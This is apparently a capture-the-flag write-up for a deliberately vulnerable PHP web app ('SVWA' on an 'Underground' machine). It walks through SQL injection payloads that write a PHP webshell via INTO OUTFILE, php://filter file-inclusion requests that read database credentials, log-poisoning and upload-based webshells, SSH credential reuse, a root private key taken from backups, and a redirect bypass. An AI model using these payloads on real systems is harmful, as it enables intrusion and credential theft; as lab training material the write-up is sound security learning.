Surabaya Hacker Link Underground Write Up

13-06-2024

Challenges Information

This is a write-up of the Surabaya Hacker Link challenge for the Underground machine. This machine was built using one of the vulnerable web applications that SHL commonly uses during demo sessions, with several vulnerabilities patched to make the challenge slightly more interesting.

Challenges

On the Surabaya Hacker Link forum there is information about a new challenge replacing Heaven challenges (the Heaven VM write-up can be found here). The information on the forum is quite clear: do not destroy anything, do not spoil the challenge, take the root and read root.txt. In this write-up I used the IP 110.93.14.30.

When accessing the IP address, it only shows the default nginx page and there is no other useful information for the next step, so we need to perform deeper information gathering.

Information Gathering and Reconnaisance

As usual in this stage we try to find more information about the target IP such as scanning ports with nmap and fuzzing directories and files that might reveal additional endpoints.

The Nmap result shows three open ports: port 80 running the nginx web service as seen earlier, and ports 2222 and 31337 running SSH services.

For fuzzing we use FFUF with the dirb and dirsearch wordlists available in Kali Linux.

ffuf -w /usr/share/wordlists/dirb/big.txt -u http://110.93.14.30/FUZZ

The fuzzing results show the presence of index.html, info.php, and robots.txt.

The phpinfo.php file displays the output of the phpinfo() function so we can understand that the machine is running PHP.

The robots.txt file, commonly used to control search engine crawlers, contains a disallow rule for x.txt, so we try accessing x.txt as well.

The x.txt file only contains insults and a small clue suggesting the use of an open source web vulnerability scanner. Nikto immediately comes to mind, so we scan using Nikto.

Nikto results:

Nikto reveals a readme.txt file that was not detected during fuzzing. This often happens because the wordlist used is incomplete.

Inside readme.txt it explains that the server hosts an SVWA application that has been patched for several vulnerabilities. Based on this information we try accessing the SVWA directory from the web service.

http://110.93.14.30/svwa/

And the assumption was correct. The SVWA application is installed on the server, allowing us to continue to the next stage.

Exploitation

After reaching the H3llcome page, we can start testing the available features and search for exploits that can grant access to the server. In this challenge there are several ways to obtain credentials for the low-level user.

Exploit 1 SQL Injection to Write Webshell (Excellent)

On the main page there is a list of articles. When opening one of them, the application redirects to read.php. This file contains an SQL injection vulnerability because the id parameter is not properly validated, allowing attackers to control the query and extract other data from the database.

The following payload performs a UNION-based SQL injection to display the current database user and database name.

http://110.93.14.30/svwa/read.php?id='1' union select 1,concat(user(),0x3a,database()),3,4--+-

After discovering the database user and name, we check whether the user has FILE privileges, which would allow writing files to the server.

http://110.93.14.30/svwa/read.php?id='1' union select 1,file_priv,3,4 from mysql.user--+-

The page displays Y, meaning the user has FILE privileges. Therefore we can attempt to write files. However, we still need the web server document root path. Fortunately phpinfo.php earlier revealed the document root.

Now we attempt to write a test PHP file to the webroot.

http://110.93.14.30/svwa/read.php?id='1' union select 1,"<?php phpinfo(); ?>",3,4 into outfile "/webroot/hehe.php"--+-

No output appears on the page, so we manually access the file.

The phpinfo page appears, confirming we can write files to the document root. Next we upload a webshell.

http://110.93.14.30/svwa/read.php?id='-1'union select 1,"<?php system($_GET['p']); ?>",3,4 into outfile "/webroot/hehex.php"--+-

Accessing the shell allows command execution.

remote code execution from sql injection

We can now run commands like id, whoami, and uname -a.

Exploit 2 Local File Inclution PHP wrapper (Good)

In the second exploit, we need access insite the web application panel/dashboard, therefore we create user first from the applicaiton feature

After successfull creates user we just go sign in

After login in the dashboard application, we can see that the dashboard is calling the file page.php, from this information we can try to do local file inclusion by change the called file page.php to /etc/passwd or other file system configuration, as we know /etc/passwd is a file that contain users ini the linux system environment

When changed, data appears from /etc/passwd, with this we can understand that it is vulnerable to local file inclusion, we try several LFI payloads such as PHP Wrapper, RFI, LFI, when we try the PHP Wrapper payload to read the index.php file and perform base64 encoding

http://110.93.14.30/svwa/admin/index.php?file=php://filter/convert.base64-encode/resource=index.php

With this we can see the index.php source code on the server but the source is encoded using base64, we try to decode it using cyberchef

In the source you can see that there is a call to the file db/koneksi.php, let’s try to see the contents of that file

http://110.93.14.30/svwa/admin/index.php?file=php://filter/convert.base64-encode/resource=../db/koneksi.php

and we succeeded in getting a credentials database that can be used for spraying on other services

Exploit 3 Local File Inclusion Access Log Poisoning (Bad)

This third exploit is similar to the previous method, namely exploring local file inclusion vulnerability, here we will include the web server access log file.

With this, attackers can poison the access log server to run malicious scripts such as webshell. We immediately make a request to the server with the name of the user agent which contains PHP webshell, because if the webshell is written in the URL field there will be encoding in special characters so we use the user agent field which has no encoding for special characters. Don’t forget to escape $ because in the terminal it will be considered a variable.

After making this request, we try to access the LFI again, which contains the contents of the webserver access log file and adds the parameters used to run commands via the webshell.

We managed to run the command, this exploit is not recommended because when we call the contents of the access log a lot of data will appear so filtering needs to be done and it takes a lot of time and resources when displayed in the browser

Exploit 4 Local File Inclution from Image Upload (Excellent)

For the fourth exploit is still similar to the previous method, namely exploring the local file inclusion vulnerability again. Here we can include image files that we upload via the photo upload feature on the main page after authenticating.

Here we create a php webshell file, but for the file type we change it to png like shell.php to shell.png and just upload it straight away

The file has been successfully uploaded but the browser does not display the data because the contents of the file are not image data but a PHP webshell script, we just call the file directly via the previous file inclusion

web shell from access log local file inclusion

We can successfully run the command server by calling the parameters used to run the command

Exploit 5 SQL Injection to Read koneksi.php + etc passwd (Good)

For the last exploit, it is similar to the first exploit, namely sql injection, but because we get file privileges, we can read the index.php file from the document root which we get information from via phpinfo.php and with that we can read and find out the location of the application database connection

After gaining access via one of the 5 ways, we can use information from koneksi.php and /etc/passwd, with this we know that in the system the human user is registered in /etc/passwd and in the service database and then there are human credentials in the koneksi.php file

even though these two things are different services, this is often done by humans who don’t want to bother with passwords, so the passwords are the same, in this case we try our luck by utilizing this human error

then we will try to log in to another service that was found via nmap previously with credentials from connection.php, the previous recon results show that there are ports 22 and 2222, we will try one by one

and we successfully log in as human with ssh port 2222 Human Pwned

Privileges Escalation

After gaining access as user human, we attempt privilege escalation. In this challenge the escalation path is quite simple: a backup of SSH keys exists.

Inside /var/backup there is a directory containing root’s .ssh files.

We can SSH as root using the private key.

ssh -i id_rsa root@localhost

Alternatively we can copy the key to our local machine and change permissions.

Finally we read root.txt.

Challenges Completed

For Fun Vulnerability

XSS

Execution After Redirect

When intercepting the admin page with Burp Suite, the server returns a Location: login.php redirect header but still includes the response body. By removing the redirect header using Burp Suite Match and Replace, the admin dashboard can be displayed without authentication.

redirect header with server body response

fin.

References: